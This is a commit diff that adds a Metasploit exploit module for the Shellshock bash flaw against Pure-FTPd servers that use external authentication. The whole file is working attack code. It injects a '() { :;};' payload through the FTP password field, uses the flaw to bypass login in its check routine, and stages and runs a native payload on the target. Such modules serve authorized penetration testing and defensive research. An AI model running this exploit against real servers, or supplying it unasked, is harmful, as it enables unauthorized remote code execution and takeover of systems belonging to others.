Land rapid7#3927 - Shellshock PureFPTd extauth

Author: wchen-r7

modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb

@@ -0,0 +1,116 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Ftp
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'            => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
+      'Description'     => %q(
+        This module exploits the code injection flaw known as shellshock which
+        leverages specially crafted environment variables in Bash. This exploit
+        specifically targets Pure-FTPd when configured to use an external
+        program for authentication.
+      ),
+      'Author'          =>
+        [
+          'Stephane Chazelas', # Vulnerability discovery
+          'Frank Denis', # Discovery of Pure-FTPd attack vector
+          'Spencer McIntyre' # Metasploit module
+        ],
+      'References'      =>
+        [
+          ['CVE', '2014-6271'],
+          ['OSVDB', '112004'],
+          ['EDB', '34765'],
+          ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc']
+        ],
+      'Payload'         =>
+        {
+          'DisableNops' => true,
+          'Space'       => 2048
+        },
+      'Targets'         =>
+        [
+          [ 'Linux x86',
+            {
+              'Platform'        => 'linux',
+              'Arch'            => ARCH_X86,
+              'CmdStagerFlavor' => :printf
+            }
+          ],
+          [ 'Linux x86_64',
+            {
+              'Platform'        => 'linux',
+              'Arch'            => ARCH_X86_64,
+              'CmdStagerFlavor' => :printf
+            }
+          ]
+        ],
+      'DefaultOptions' =>
+        {
+          'PrependFork' => true
+        },
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Sep 24 2014'))
+    register_options(
+      [
+        Opt::RPORT(21),
+        OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])
+      ], self.class)
+    deregister_options('FTPUSER', 'FTPPASS')
+  end
+
+  def check
+    # this check method tries to use the vulnerability to bypass the login
+    username = rand_text_alphanumeric(rand(20) + 1)
+    random_id = (rand(100) + 1)
+    command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
+    if send_command(username, command) =~ /^2\d\d ok./i
+      return CheckCode::Safe if banner !~ /pure-ftpd/i
+      disconnect
+
+      command = "echo auth_ok:0; echo end"
+      if send_command(username, command) =~ /^5\d\d login authentication failed/i
+        return CheckCode::Vulnerable
+      end
+    end
+    disconnect
+
+    CheckCode::Safe
+  end
+
+  def execute_command(cmd, _opts)
+    cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
+    username = rand_text_alphanumeric(rand(20) + 1)
+    send_command(username, cmd)
+  end
+
+  def exploit
+    # Cannot use generic/shell_reverse_tcp inside an elf
+    # Checking before proceeds
+    if generate_payload_exe.blank?
+      fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
+    end
+
+    execute_cmdstager(linemax: 500)
+    handler
+  end
+
+  def send_command(username, cmd)
+    cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""
+    connect
+    send_user(username)
+    password_result = send_pass(cmd)
+    disconnect
+    password_result
+  end
+end